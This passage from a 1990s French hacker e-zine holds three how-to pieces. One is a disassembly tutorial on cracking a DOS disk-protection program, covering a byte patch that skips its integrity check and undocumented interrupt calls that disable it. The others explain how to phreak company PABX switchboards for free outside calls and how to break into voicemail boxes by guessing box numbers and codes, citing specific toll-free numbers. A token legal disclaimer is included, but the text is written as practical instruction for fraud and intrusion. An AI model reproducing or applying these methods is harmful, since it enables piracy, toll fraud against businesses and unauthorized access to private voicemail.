jusqu'a : 0D6B # ben vi, c'est les tests d'integritee.... # important selon la methode de crack choisie... ou autrement si vous voulez # ecrire des conneries a la place de l'ecran de presentation... :) # 0D6B úBA 0C54 mov dx,offset data_86 ; (815C:0C54='') # 0D6E B4 09 mov ah,9 # 0D70 CD 21 int 21h ; DOS Services ah=function 09h # La il a affiche les tests d'integritees. # 0D72 B8 3D00 mov ax,3D00h # 0D75 úBA 0C66 mov dx,0C66h ; (815C:0C66=0) # 0D78 CD 21 int 21h ; DOS Services ah=function 3Dh # Ici, le prg ouvre le fichier fr.com (pour test CRC) ; open file, al=mode,name@ds:dx 0D7A 8B D8 mov bx,ax 0D7C C7 06 0157 0000 mov data_24,0 ; (815C:0157=0) 0D82 BF 0001 mov di,1 0D85 loc_94: ; xref 815C:0DBA # 0D85 úB4 3F mov ah,3Fh ; '?' # 0D87 B9 0200 mov cx,200h # 0D8A úBA 0874 mov dx,offset data_64 ; (815C:0874=20h) # 0D8D CD 21 int 21h ; DOS Services ah=function 3Fh # La il lit le fichier... ; cx=bytes to ds:dx buffer 0D8F 73 03 jnc loc_95 ; Jump if carry=0 0D91 E9 003F jmp loc_98 ; (0DD3) 0D94 loc_95: ; xref 815C:0D8F 0D94 3D 0000 cmp ax,0 0D97 74 23 je loc_97 ; Jump if equal # et ici, si le test est bon, il poursuit... vers... cs:0DBC 0DBC loc_97: ; xref 815C:0D97 0DBC B4 3E mov ah,3Eh 0DBE CD 21 int 21h ; DOS Services ah=function 3Eh # Ici, il vient de fermer le fichier fr.com # Et alors, c'est la partie la + interessante du prg pour le test CRC ; close file, bx=file handle 0DC0 A1 0157 mov ax,data_24 ; (815C:0157=0) 0DC3 03 06 0104 add ax,data_5 ; (815C:0104=0BB0Dh) 0DC7 3D FFFF cmp ax,0FFFFh # 0DCA 74 0B je loc_99 ; Jump if equal # VOILA ce qui le perdra :))) # cet petit saut conditionnel ! # si il est po verifie , le prg quitte ! # alors remplacer le par 1 JMP # soit JMP 0DD7, ce qui pour 1 modif en editeur hexa donne : EB 0B # au lieu de 74 0B :) { Explic pour les neuneux... A l'aide d'1 editeur HEXA, ouvez le fichier RF.COM. Il fo ensuite remplacer notre branchement je par 1 jmp ! (jump...) On recherche donc un 74 0B, mais il se peux qu'il y ai plusieur 74 0B ds le prg. Alors on rallonge la chaine... on prend ce qui est devant ou derriere ! par exemple : - on va chercher : 04 3D FF FF 74 0B - pour le remplacer par : 04 3D FF FF EB 0B Et c'est tout ! } # 0DCC úBA 0CB6 mov dx,offset data_88 ; (815C:0CB6='') # 0DCF B4 09 mov ah,9 # 0DD1 CD 21 int 21h ; DOS Services ah=function 09h # la il affiche que le prg est altere... utiliser 1 copie saine... # o cas ou le crc soit po bon ! ; display char string at ds:dx # 0DD3 loc_98: ; xref 815C:0D4B, 0D91 # 0DD3 B4 00 mov ah,0 # 0DD5 CD 21 int 21h ; DOS Services ah=function 00h # et fin du prg... termnaison ; terminate, cs=progm seg prefx # 0DD7 loc_99: ; xref 815C:0DCA # 0DD7 úBA 0CF6 mov dx,offset data_90 ; (815C:0CF6='- OK') # 0DDA B4 09 mov ah,9 # 0DDC CD 21 int 21h ; DOS Services ah=function 09h # et ici , le fameux 0DD7 pour notre JMP ! # le prg affiche OK ! # et il continu normalement meme si le test est po bon !!! Bon ben voila c'est fini pour la partie controle de l'integrite ! On attaque maintenant la partie hack du sys de controle des disquettes. Et ya du boulot ! Bon tout d'abord, on remarque que losque l'on charge RF,le prg place 1 vecteur d'interruption : 13 2F (chez moa vers l'adrs 0510:0) Ben pour ceux qui connaisse deja bien les verteurs d'interuption, le compte est bon... on le degage ! (Apres quand on se casse, on relance rf.com [ex d'univ]) Mais y une autre solution plus subtile... Si on continue a desass le prg, on voit 1 petit truc interessant, en ce qui concerne la creation et la modif de vecteurs. En effet, le prog va intervenir sur l'int 13h (acces lecteurs etc...) et va creer de nouvelle fct. Reste donc plus qu'a analyser le code et a voir si ya po des fct qui pourrait nous interesser ! Trace Start ! (suite) 0DDE úBB 013A mov bx,offset data_8 ; (815C:013A=6Eh) 0DE1 BA 0000 mov dx,0 0DE4 úBE 0082 mov si,data_4e ; (815C:0082=0) 0DE7 loc_100: ; xref 815C:0DEE, 0E11, 0E3D, 0E45 ; 0E4D, 0E55 # 0DE7 úAC lodsb ; String [si] to al # 0DE8 3C 0D cmp al,0Dh # 0DEA 74 6B je loc_109 ; Jump if equal # 0DEC 3C 2F cmp al,2Fh ; '/' # 0DEE 75 F7 jne loc_100 ; Jump if not equal # Le prg se casse generalement vers le loc 109... et ne continu po sur le # 0E62... # De toute facon on se retrouvera sur le loc 109. # On va donc faire 1 tour du cote du loc 109... ; 0E3B # 0E57 B8 3080 mov ax,3080h # 0E5A BF 5349 mov di,5349h # 0E5D BE 4E47 mov si,4E47h # 0E60 CD 13 int 13h ; ??int non-standard interrupt # AHHHH... Ici on n'a le droit de se poser des questions.... # Vois la connaisser cette fct de l'int 13h... non, ben moa non plus ! # Continuons 1 peu pour voir... 0E62 3C FF cmp al,0FFh 0E64 74 03 je loc_110 ; Jump if equal 0E66 E9 000C jmp loc_111 ; (0E75) 0E69 loc_110: ; xref 815C:0E64 # 0E69 B4 09 mov ah,9 # 0E6B úBA 0CFD mov dx,offset data_91 ; (815C:0CFD='') (RF deja inst...) # 0E6E CD 21 int 21h ; DOS Services ah=function 09h # Ici, c'est tres clair... Le logiciel RF utilise 1 fonction qu'il definit lui # meme, mais comme il ne l'a pas encore definit, le test est negatif ! # ce qui signifie que c'est le permier lancement... il peut s'installer ! # Je reprend, la fonction 30h, sous fct 80h de l'int 13h est cree par RF. # Donc, on lance RF pour la premiere fois, le soft ne connait po cette fct # puisqu'il ne l'a po encore inst ! # Or, si il est deja resident, il reconnait cette fonction, et place donc # 0FFh ds AL, et suite a la comparaison, le test est positif, il saute donc # sur loc 110 et quitte vers le dos ! (message -RF deja installe-) # # Ici, on a avanc‚, on connait 1 fct posee par RF ds l'int 13h ! # mais elle ne nous sert po a grand chose! En grattant un peu on va trouver # des trucs plus interessant ! ; display char string at ds:dx # 0E70 B8 4C01 mov ax,4C01h # 0E73 CD 21 int 21h ; DOS Services ah=function 4Ch # termine le prg ; terminate with al=return code 0E75 loc_111: ; xref 815C:0E66 # 0E75 B8 4BFD mov ax,4BFDh # 0E78 CD 13 int 13h ; ??int non-standard interrupt # encore 1 op non conforme hehehe :)) # avec l'int 13h... a approfindir ! 0E7A úBB 013A mov bx,offset data_8 ; (815C:013A=6Eh) 0E7D 8B 07 mov ax,[bx] 0E7F 33 47 02 xor ax,[bx+2] 0E82 33 47 04 xor ax,[bx+4] 0E85 33 47 06 xor ax,[bx+6] 0E88 A3 0143 mov data_13,ax ; (815C:0143=0) # 0E8B B8 3513 mov ax,3513h # 0E8E CD 21 int 21h ; DOS Services ah=function 35h # lit notre lecteur d'int ; get intrpt vector al in es:bx 0E90 89 1E 0198 mov word ptr ds:[198h],bx ; (815C:0198=0) 0E94 89 1E 019F mov word ptr ds:[19Fh],bx ; (815C:019F=0) 0E98 8C 06 019A mov word ptr ds:[19Ah],es ; (815C:019A=0EF6Fh) 0E9C 8C 06 01A1 mov word ptr ds:[1A1h],es ; (815C:01A1=0EF6Fh) # 0EA0 úBA 0177 mov dx,offset int_13h_entry # 0EA3 B8 2513 mov ax,2513h # 0EA6 CD 21 int 21h ; DOS Services ah=function 25h # Et la, c'est 1 partie super importante !!! # noter bien le : dx,offset int_13h_entry # ce sont les routine qui vont etre pose ds notre vecteur. # je vous renvoye donc a cette adresse qui compose les 2.4ko du soft charge # en memoire. # (c'est a peu pres tout ce qu'il y a avant 0D1D ; # sans les messages de presentations...bien sur ) ; set intrpt vector al to ds:dx # 0EA8 B8 3513 mov ax,3513h # 0EAB CD 21 int 21h ; DOS Services ah=function 35h # Lit le vecteur # 1 peu + loin... # 0EBD úBA 0242 mov dx,offset int_13h_ent_1 # 0EC0 B8 2513 mov ax,2513h # 0EC3 CD 21 int 21h ; DOS Services ah=function 25h # Encore 1 adressage qui compose le resident... # que l'on retrouve aussi a : # (pour la 2Fh) 0EF9 B4 25 mov ah,25h ; '%' 0EFB B0 2F mov al,2Fh ; '/' 0EFD úBA 0712 mov dx,offset int_2Fh_entry 0F00 CD 21 int 21h ; DOS Services ah=function 25h # Apres + rien d'important... le programme se termine en restant residant. Pour ceux qui touche deja po mal, y ont du se faire chier jusqu'ici... Mais je voulais que cette article soit accessible a tout le monde. Alors les experts pourrons chercher ds la premiere partie du prog les fonctions interessante si ca les amuses... :) Pour les autres, ca commence a se corser, et mon article commence a etre long, vu que j'ai po encore traite la partie sur le crack ! Ha, la je sens que yen a qui vont dire... il se defile :)) Mais non, j'ai tous simplement prevu d'ecrire 1 article specialement oriente sur les vecteurs et les interruptions ! Et je reparlerais du cas de RF qui est tres interessent, (et bien sur je reprendrais la permiere partie du prg. Mais la, 1 connaissance parfaite de l'ASM est exig‚ et se sera 1 article plutot pour les experts en crk ;) Avis aux amateurs... Ben ouaip, jusque la yen a eu que pour les newbies :)) En attendant je vais vous filer du tout cuit ;) On connait deja la 3080h qui verifie si le prg est installe, mais ya aussi : - 3000h ,qui desactive RF !!! - 3002h ,qui reactive RF - 3009h ,qui certifie 1 disquette et yen a peut-etre d'autres... ( a vous de chercher =) Passons maintenant a l'elaboration du crack ! --------------------------------------------- Ben c'est po bien complique, il suffit d'appeler l'int 13h avec les bonnes valeurs ds les registres : mov di,5349h ;# Reportez vous a la loc 109 ! mov si,4e47h ;# " " mov ax,3000h (pour desactiver par exemple...) int 13h C'est TOUT !!! Tout compte fait, c'etait po si long ! Le plus rapide etant de faire 1 petit fichier com. Rmq: Le di et si doivent etre imperativement pos‚... sinon ca marche po. Ya des exemples ds le fichier ZIP: - ACTIV_RF.ASM - DESAC_RF.ASM - CERTIF.ASM - TESTRF.ASM Et les COM respectif. On peut aussi tout inclure ds 1 seul fichier... mais ca c'est de la prog classique : fichier KSILLY.COM (c'est qu'1 exemple, on peut faire 10 * mieux... mais aussi 10 * + long ... ;) Ben voila, c'est a peu pres tout ce que j'avais a dire sur RF :)) Je remercie tout particulierement Berth ( /MINE\ ), avec qui on s'est bien amus‚ a cracker cette petite merde hehehe :) GREETINGS: SD,Sorcery,CoD4,MikaSoft,Fft,Kwel,Doc. PiXel4 ------------------------------------------------------------------------------- NoRoute #1 þ Hacking PABXz þ 4760 þ CoD4 þ NoRoute #1 ------------------------------------------------------------------------------- Hacking PABXz ----------------------------------------------------------------------------- By CoD4, from The Philament Empire (PhE!), 1997 MES TRES CHER FRERES NOUS SOMMES REUNIS POUR HACKER DES PABX!!! *************************************************************************** * Toutes les informations fournies dans ce document ne le sont que dans * * un but purement educatif, et il est formelement interdit par la loi de * * les exploiter. A part vous, personne n'est responsable de ce que vous * * faites, et l'auteur de pourra en aucun cas etre tenu pour responsable * * des dommages causes a la suite de la lecture de ce document ! NA ! * *************************************************************************** ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' PABX, DA ULTIMATE UPDATE ! Je crois que vous avez la l'article le plus complet que vous serez jamais amene a lire, eh oui ! Vous allez gober de l'info qu'il vous faut (mauvais jeu de mots :(...) [ HACKONS LES PABX ] 1: C'est quoi un PABX ? Un PABX (Private Automatic Branch eXchanger) est en fait un central telephonique qui gere les appels entrants est sortants. Il gere le reseau interne aussi bien que le reseau externe. Pour vous donner un exemple: Mr Lamer travail chez Grolame & Co. Monsieur Lamer veut telephoner... Pour cela, il decroche son telephone, il appuie sur `0' puis il compose son numero. Voila en gros a quoi un PABX peut servir. Bon on y va alors. A quoi ca peut bien vous servir de savoir que Mr Lamer lamer peut phoner depuis son poste en faisant le 0' ??? D'abord vous devez comprendre a quoi ca ressemble un PABX. o Chaque employe a un poste bien a lui, OK ? o Chaque employe a une ligne directe (surement), OK ? (surement car le PABX ne servirait a rien sinon, eh!). o Tous les employes sont relie au PABX. Bon voyons de plus pres comment ca marche maintenant: vous appelez le PABX. Ensuite, une fois dans le PABX, vous pouvez etre redirige entre les differents postes ou services (les 4 derniers chiffres du numeront correspondent au numero du poste, par exemple 12 12 + numero de poste, comme 0003). 12 12 00 03 c'est bon, vous avez compris, et je vous vois dire que c'est facile une fois qu'on connait les 4 premiers chiffres. C'est les memes que ceux de l' entreprise. Ex: voici le numero de l'entreprise Grolame & Co, 12 12 00 05. Vous savez maintenant qu'il faut mettre 12 12 + pour avoir le numero de la ligne directe de l'employe (attention, les PABX en numeros verts ne fonctionnent pas pareil, vous n'avez pas de ligne direct dans ce cas la). Ligne directe Ligne directe ex: 12 12 00 00 ex: 12 12 00 01 * * | | Ligne directe | | ex: 12 12 00 03 | | | |Poste| |Poste| |###| |Poste |-------------* Ligne * |tele.| |tele.| |VMB| |fictif| * externe * | | | | | | | | --------------------------------------------------- | PaBX - PaBX - PaBX - PaBX - PaBX - PaBX - PaBX | Numero du PABX: 0005 --------------------------------------------------- | | | | | | Ligne en numero vert Ligne d'entree Ligne de sortie utilisee (0800 99 99 99) (12 12 00 05) par les employes Bon, voici la theorie... Pour detourner les PABX a son avantage, vous avez plusieurs choix: o Soit vous vous connectez par la ligne directe de l'employe, et une fois le contact telephonique etabli, vous vous trouvez exactement a la place de l'employe et donc vous pouvez ici tester les differentes methodes (exposees plus loin) pour essayer de faire un outdial. o Sinon, vous vous connectez directement au PABX en composant le numero du poste ou vous voulez aller. Ex: lorsque vous etes sur la "tone" interieure du PABX (ou le service qui vous met en contact avec un poste automatiquement), vous composez le numero du poste ou le PABX va vous router. Pour etre plus clair, lors du "Booooooooooooooo", faites le numero de poste ou vous voulez aller, comme 00 03 par exemple, et une fois le numero compose, vous vous retrouvez a la meme position que l' employe au poste xx xx et donc comme lui vous pouvez appeler l'exterieur ! Vous avez surement remarque le "poste fictif". Certains PABX utilisent un poste dit fictif pour appeler l'exterieur. Voila pour la theorie... 2: Ca se deroule comme ca ! 1. Trouver un PABX. 2. Comprendre de quelle famille est le PABX. 3. Trouver la facon de faire un Outdial. 4. Abuser du PABX. 5. Les conneries que l'on dit sur les PABX. 6. Disc-lamer :)). 2.1: Partons a la quete du PABX Pour ceux qui aurait lu mon article sur les VMB, ils reconnaitront des extraits de cet article. Oui, c'etait parfait, et je vois pas pourquoi je l' ecrirai de nouveau :) 2.1.1 Trouver un numero (scanner les PABX a partir de 9h) Pour trouver un numero vert qui est susceptible d'avoir un PABX sans scanner pendant des jours, il faut faire les numero avec methode: o Faites des numeros du genres 0800 XAB XAB. ex: 0800 140 140 ou 0800 120 120 o Il y'a les numero du genre 0800 AB XC XC. ex: 0800 50 20 20 (vous incrementerez les numero XC de +1, ex: 0800 50 20 20, 0800 50 21 21) o Puis vous avez les numero du genre 0800 41 42 43 ou 0800 43 42 41 (qui s'incremente ou se decremente) o Puis ceux du genre 0800 XA XC XB. ex: 0800 30 31 35 ou 0800 40 47 45 etc... Bref, tous les numeros qui sont faciles a memoriser ! OK ? --> Pour ceux qui n'ont pas le courage de faire ca a la main, et bien vous feriez mieux de faire autre chose ;) Fermons la la parenthese :) Bon ca *sonne* ! Mais maintenant, je fais quoi ? Tu te tais et tu ecoutes. o Si c'est une femme, c'est pas bon. o Si c'est un repondeur, OK, ca peut etre un PABX. o C'est une messagerie vocale. Bon, on va voir, il y a peut-etre un PABX. o Ca vous demande un code confidentiel ? C'est un PABX ! :) o Ca dit rien... Strange ! Mais on garde, ca peut etre un PABX. Bon, ensuite, vous trouverez par vous-meme si c'est des PABX ou pas. Ok, maintenant qu'on a un numero susceptible d'etre un PABX on fait quoi ? (tu passes a l'etape suivante) 2.2 La famille du PABX Maintenant que tu as un numero, essaye la touche `0'. Si ca fait "booooooo", c'est bon, c'est un PABX. Si ca marche pas avec la touche `0', essaye avec `#', `*', `9' ou `1'. Quand tu tombes sur la tone "booooooo", c'est bon. Si rien marche, essaye la sequence de touches `0*'. Si ca marche, c'est que c'est un PABX Meridian. Si ca demande un code confidentiel, tapes rien et lis ce qui va suivre ! 2.3 Faire un Outdial Exemple de PABX qui fait "booooooooo": 0800 397 397. Bon, il faut maintenant se connecter sur un poste (vous savez tous bien sur comment trouver un numero de poste !). Maintenant que tu as le "booooooo" qui te tape sur le systeme, compose le numero de poste ou tu veux aller, et tu tomberas sur le greeting de l'employe, qui t'invite a laisser un message. Mais toi, tu vas pas laisser un message, tu fais donc le `0'. 1. Tu vas retomber sur le "Booooooooooo" (c'est la tone interieure du PABX). Bon maintenant, essaye de faire le `0' puis fais le numero que tu veux faire (fais le 14 par exemple comme ca tu verras ou se trouve le PABX). Si ca marche pas, essaie toutes les methodes suivantes: o 00 + ton numero o 1 + ton numero o 11 + ton numero o 9 + ton numero o 99 + ton numero o Si ca marche toujours pas, essaye de 1 a 9. ex: # 5 + numero (des fois, il faut doubler l'indicatif. La, dans l' exemple, c'est le 5 l'indicatif). o Bon, si ca marche toujours pas, essaye de le faire sans le `*' devant. o Recommence en 1 mais avec le # avant l'indicatif. ex: # + 0 + numero o Sinon, autre technique: faites le numero du standard + numero. o Ca marche toujours pas ? Essaye de faire un numero de poste puis l' indicatif, puis ton numero (numero de poste = numero de VMB, donc ce serait pas mal de lire mon autre article sur les VMB, ou tout autre qui vous expliquera comment avoir une VMB). Bien sur, vous pouvez essayer au pif, et surtout les numeros commencant par 4. ex: (4410 + 1 + XX XX XX XX XX), ou 4410 = numero de poste o Argh ! Ca marche encore pas ? Essaye de le faire en changeant l' indicatif 1 ou 9 ou 0. Double pour voir si ca marche pas (sur certains PABX, il faut faire # + numero de poste + indicatif + numero). Bon la si rien ne se passe, c'est qu'il faut composer un numero de poste special. * Pour faire les outdial. (une fois sur la tone "booooo", vous pouvez appeler un poste de la boite en composant son numero). La, une seule facon de le trouver, c'est de faire les numeros un par un, en sachant que quand ca vous raccroche, c'est que le dernier numero que vous avez compose n'est pas bon. Ex: '4' c'est bon la, ca a pas raccroche ou sonne au standard. Puis je fais le `9'. La, ca sonne ou ca raccroche, c'est que le 9 n'etait pas le bon chiffre. Donc, rappelez, faites le `4' car vous savez qu'il est valide, recommencez avec un autre chiffre que le `9' car vous savez qu'il est pas bon. Bon, si vous avez scanne tous les numeros et que vous avez rien trouve, c'est pas la peine, ca doit etre un PABX ou on ne peut pas faire d'outdial. :( (attention, certains PABX vous permettent de faire un outdial en composant votre votre indicatif + numero dans une boite vocale. Certains se font meme carrement lorsque vous laissez un message, donc vous devez laisser un message apres le BiiiiiP. Faites votre indicatif + numero (des fois, faites le '#' devant l'indicatif) Cas des PBX Meridian La, je laisse parler Easy-Hacker de N0WaY (il aime les Meridian). J'ai rajoute des precisions. Un numero de Meridian: 0800 153 153. -=)> NT Meridian Mail <(=- -------------------------------- 0n les reconnait tres aisement a la voix de la nana qui prononce les messages enregistres et aux messages qui, en dehors du message d'accueil, sont toujours les memes. N'etant pas une solution sur PC et etant cense etre pret a l'utilisation en quelques dizaines de minutes, les VMB meridian offrent toutes les memes commandes et l'arborescence differe tres peu de l'une a l'autre. L'arbo classique est la suivante: lorsque vous appellez, vous etes confrontes a un repondeur des plus classiques, vous laissez votre message et vous vous cassez. Si vous etes un peu curieux, vous tripotez les touches *,0 et # jusqu'a tomber sur le message jouissif: "Vous avez obtenu un service automatise qui vous mettra en relation avec le numero compose. Veuillez entrer le nom ou le numero de la personne desiree suivit de la touche #" En France, et pour rester compatible avec ce que nous avons evoques plus haut (ligne directe=(z)abpq+numero de poste), les numeros de postes (qui sont aussi les numeros des bals sur la VMB) sont sur 4 chiffres. En regle generale, entre 0 et 9 se trouvent des trucs particuliers comme le standard, le fax ou l'acces aux reseaux internes. Le 0 est toujours le standard, ou plus exactement le numero d'aide (car il est possible de le changer comme nous le verrons plus tard). Donc bref quand on a ce message, il suffit de composer le numero du poste puis # et hoplaboum ca dit allo dans l'poste. Si vous preferez une version americaine du "allo", trois cas pos- sibles: ########################################################################### # ATTENTION: vous devez etre poste sur un vrai numero de poste. # # Si vous le faites directos, vous ne pourrez pas dans la plupart des cas # # faire des outdial (lisez mon article sur les VMB pour plus d'infos) # ########################################################################### 1) Il suffit de faire un indicatif sur un chiffre pour avoir l'exterieur. Cet indicatif est souvent 0,1 ou 9. Suit alors le numero de telephone puis la touche #. Si vous avez le message "Il est impossible d'obtenir ce numero a partir de ce service" c'est pas le bon indicatif, mais ca ne signifie pas pour autant que le PBX est grille. Attention, certaines lignes peuvent etre en acces restreint (interdiction du 19 et du 36). Tiens j'en profite pour ajouter une petite precision importante. Il est possible d'appeller quelqu'un a partir de son nom en faisant 11 puis son nom converti en chiffres (ca se trouve encore sur les telephones ca ?), puis le #. Kewl sauf que si l'indicatif d'outdial est le 1, lorsque vous voulez appeller la province ou l'etranger, ca donne 119 ou 116 et cet abruti de PBX croit que vous voulez appeller quelqu'un par son nom. Les PBX qui choisissent mal leur indicatif sont donc assez limitees, mais ca depanne pour Transpac. 2) L'acces a l'exterieur n'est possible qu'en appellant une ligne de transit, representee par un numero de poste classique. En clair, il faut alors composer un numero de poste sur 4 chiffres, #, et si on tombe sur une tonalite, on peut enfin tester indicatif d'outdial+numero (plus besoin de faire #, tout ce que vous composez est envoye en direct sur la ligne de transit). Ces lignes de transit sont souvent utilisees pour la telesur- veillance informatique (n'esperez pas en trouver le numero sur le 11). ############################################################################## ################ vous trouverez d'autre methode sur mon article sur les VMB### ############################################################################## :les pabx avec un acces par code ex: 0800 00 2002 un autre cas se sont les pabx a code confidentielle souvent je dis souvent les 2 premiers chiffre sont les meme ex: 44 xx ou 55 xx 4. ABUSONS DU PBX La votre serviteur vous laisse faire :) Sachez toutefois qu'il vaut mieux l'utiliser la nuit. Si vous n'avez pas trouve de PABX, sachez que les PABX en numero vert plus durs a hacker :) Enfin, ne phonez pas pendant 12 heures a votre cousine en Islande. Non seulement, c'est trop gros et sachez que si vous mettez 120 000F de bill a la boite, ca risque de vous attirer des problemes... 5. LES CONNERIES QUE L'ON A DIT SUR LES PABX * Oui, les PABX savent notre numero de telephone ! Non les PABX n'affichent pas votre numero de telephone sauf si vous avez un ligne Numeris (on peut demander a avoir l'anonymat) * Les PABX, c'est hyper trace ! Arretons le massacre il y'a pas un tracer sur chaque PABX. Ici, chez FT, le phreaking ils sont pas trop atteints, c'est pas comme chez Sprint ou MCi * Les PABX ca marche pas ! Ha ha! Il est vrai que les PABX sur numero vert sont durs... * Oui, mais moi je veux un PABX maintenant, la, en 38 secondes maxi. Fais le 36 15 La Reboute * Oui mais moi, je fais du warez et je veux rien savoir. Moi je joue a Quake sur 486, je phreak avec mes doigts et je lance mes casseurs de password sur des gros Cray ! Hacking roue-laisse (ca fait bien de dire rulez :) * Stop le delire CoD4, je te crois est je m'en vais retourner au warez. Arg!! :) 6. DISC-LAMER T7HS (the 7th hacker's society) (si ton nom y figure pas, il y'a bien une raison !!!) Salut a Morgan pour son aide tres precieuse. Special dedicace (l'autres est zi-va) a: o LARSEN HVU vaincra ! o Tous les membres du T7HS est tous ceux de #HACKFR o a LOGINZ, ^mars, scud, pegase, kikoo (qui m'a dit d'aller a la FAC), |ouyshla| et a tous les membres de PhE! (#PHe). Et le MEGA BIG UP pour France Telefarce ;) Et hop!, un peu de pub pour mon channel: #warez-FFT Allez voir sur #warez-france pour me trouver, ou sur #hackfr Vala, c'est tout. Bye ! COD4 phreaking ROUX-LAIZE !!! [SI...] Si tu est phreaker pro, contacte-moi, j'ai encore a apprendre. Si quelqu'un a des rajouts a faire, ou des critiques, des idees, ce serait bon qu'il me donne son avis. Si votre pere travaille chez F.T ou vous meme et que vous avez des infos ou des des docs, contactez-moi ! Si vous installez des PABX, que vous dormez avec le standard et non pas avec la standardiste, re-contact me ! --> Recherche un pro du cellulaire et un pro de la box. Merci. ******************* */~*/~\*|\**|\**/** *\_*\_/*|/**|*\/*** ******************* H/P ROULE-ASS ############################################################################## COD4 COD4 COD4 COD4 COD4 COD4 COD4 COD4 COD4 COD4 COD4 COD4 COD4 COD4 COD4 ############################################################################## NoTe: j'ai corrige les fautes d'orthographe, la mise en page et tout, et je peux vous dire qu'y avait du boulot ;). Si vous voulez contacter CoD4, vous pouvez toujours laisser un mail sur la boite du groupe, je transmettrai: phe@mygale.org -- HoTCoDe, PhE!. il a raison [CoD4] _______ __ __ ______ | _ \| |_| | _____| H/P French Group ! | |_) | _ | ____| http://www.mygale.org/02/phe | ___/|__| |__|______| phe@mygale.org |___|THe PHiLaMeNT eMPiRe ------------------------------------------------------------------------------- NoRoute #1 þ Hacking de VMB þ 4761 þ CoD4 þ NoRoute #1 ------------------------------------------------------------------------------- -=|HACKING DE VMB|=- Methodes reconnues et fiables pouvant etre realisées par n'importe quel humain qui a un cerveau. -=|DEFINITION|=- Une VMB c'est une boite vocale ou on peut vous laisser des messages vous pouvez les ecouter c komme un repondeur mais si votre boite vocale est accessible par un numero vert n'importe ki peut vous appeler sans payer est vous pouvez ecouter vos messages sans payer voila.. -=[ 1. FUCK TELECOM ]=- Avant de parler de comment trouver une vmb il faut savoir a koi ça ressemble. Je classe les vmb en 3 sortes les types '1,2' les types '1,#' puis les meridian. Bon jusque la ca veut rien dire he bien regardez les types '1,2' veut dire que une fois o menu de la VMB j'ai le choix entre la touche '1' pour envoyer un message et '2' pour aller dans ma boite aux lettres (voici un numero de type '1,2' le 0800 00 10 10). Pour les types '1,#' c'est le choix entre la touche '1' pour envoyer un message et '#' pour aller dans la boite aux lettres. (voici un numero de type '1,#' 0800 43 47 45). Puis pour les VMB meridian pour les reconnaitre il faut faire '81' quand l'annonce passe pour aller au menu de la vmb (certaines messageries meridian disent carrement "bienvenue dans la messagerie meridian") (voici un numero de vmb meridian le 0800 153 153). Voila on a presque tous les types de VMB que j'ai rencontre (certaines vmb sont differentes mais elles se ressemblent presque toutes) -=[ 2 LET'S ROCK ]=- Bon passons aux choses dites serieuses: le hack d'une VMB se compose de cette maniere: 1: trouver un numero 2: voir si c une voie enregistree qui decroche (c bon) ou si c une gentille jeune fille qui nous "allo" (c poa bon).. 3: tester si ce numero a une VMB ou un PBX 4: si oui decouvrir la procedure pour acceder a la vmb 5: decouvrir le type de VMB ('1,2' ou '1,#' ou meridian) 6: HACKER la VMB 7: ABUSER de la VMB ;) Allez on y va.. -=[ 2.1 TROUVER UN NUMERO ]=- Pour trouver un numero vert qui est susceptible d'avoir une VMB sans scanner pendant des jours pour 3 ou 4 vmb il faut faire les numero avec methode par exemple faites des numeros du genre 0800 XAB XAB ex: 0800 140 140 ou 0800 120 120 il y'a les numero du genre 0800 AB XC XC ex: 0800 50 20 20 (vous incrementerez les numero XC de +1 ex: 0800 50 20 20 ,0800 50 21 21) puis vous avez les numero du genre 0800 41 42 43 ou 0800 43 42 41 (qui s'incremente ou se decremente) puis ceux du genre 0800 XA XC XB ex: 0800 30 31 35 ou 0800 40 47 45 etc.... bref tous les numero qui sont faciles a memoriser OK (pour ceux qui on poa le courage de faire ça a la main est bien ils feraient mieux de faire autre chose ;) ) -=[ 2.2 TEST DU NUMERO (VMB OR NOT VMB) ]=- Tous d'abord le test du numero doit se faire la nuit (souvent les PBX qui SONT souvent associes avec des vmb ne marchent que la nuit ). Bon votre numero que vous avez fait sonne si ça dit "allo" c poa bon si ça dit "bienvenue dans messagerie vocale machin " il y'a pas plus clair si ça dit "vous etes bien chez machin notre service n'est poa ouvert" ou tous autres messages de ce genre IL PEUT Y AVOIR UNE VMB. -=[2.3 TESTER SI LE NUMERO EST UNE VMB OU UN PBX ]=- Bon pour le savoir appuyez sur les touches '#' ou '*' ou '0' ou '9' ou '81' ou '0* ' si la femme se tait et vous dit "entrez votre numero de boite vocale" ou tous se ki se rapproche c bon il y'a un VMB vous pouvez parfois tomber sur une tonalite grave qui FAIT "Boooooooooooooooo" c un pbx (attention vous tous les pabx ne font poa "Boooooooooooooooo" ) aller autre etape.. -=[ 2.4 DECOUVRIR LA PROCEDURE POUR ACCEDER A LA VMB ]=- Bon refaites le numero reappuyez sur la ou les touches qui vous ont permis de decouvrir que le numero a bien une VMB EX: 0800 43 47 45 ,# une fois que vous etes arrive a la femme (ou le mec) qui vous dis les options possible vous pouvez passer a l'etape suivante. -=[ 2.5 DECOUVRIR LE TYPE DE VMB ]=- Ecoutez bien la femme qui vous dit ses options si elle dit "pour envoyer un messages appuyer sur '1' ..... pour aller dans votre boite vocale tapez '2'" (VMB DE TYPE '1,2' ) ex : le 0800 00 10 10 bon si elle dit "pour envoyer un message appuyer sur '1' pour aller dans votre boite vocale appuyer sur '#'" (VMB DE TYPE '1,#') ex : le 0800 43 47 45 bon pour savoir si c un meridian c simple si vous avez accede au VMB en faisant 81 c un VMB meridian ou souvent ça vous le dit du genre "bienvenue dans le messagerie meridian" ok ex: 0800 153 153 -=[ 2.6 HACKER LA VMB ]=- Tout d'abord on va parler de la procedure qui est valable pour les types de VMB '1,2' et '1,# ' puis on attaquera le cas meridian. GO HACK D'une VMB de type '1,2' ------------------------------ Faites le numero de telephones puis dites a la vmb que vous voulez aller dans votre boite vocale elle va vous demander votre numero de boite vocale tapez un chiffre au hasard par exemple le '1' si ça ne dit rien c que le numero 1 est valide puis tapez un autre chiffre ex: le 3 si ça dis "numero incorect" c poa le '3' essayer un autre chiffre 4 par ex si ça ne dit rien c que c bon exemple votre numero de boite vocale est en ce moment 14xx. x=chiffres a trouver continuer jusqu'a trouver une boite valide si on vous demande poa votre code confidentielle c bon vous avez une VMB (non ne partez pas de suite dans ce genre de VMB tres peu ont un numero de code generalement se sont les phreakers qui en ont :) GO HACK D'UNE VMB DE type '1,#' ------------------------------- Effectuer la meme procedure que pour les VMB DE TYPE '1,2' pour trouver un numero de boite vocale et une fois que vous avez decouvert un numero de boite vocale valide on va vous demander votre numero de code dans 99% des cas le numero de code est le numero de la boite exemple : 44 55 code 44 55 sinon essayez des numeros 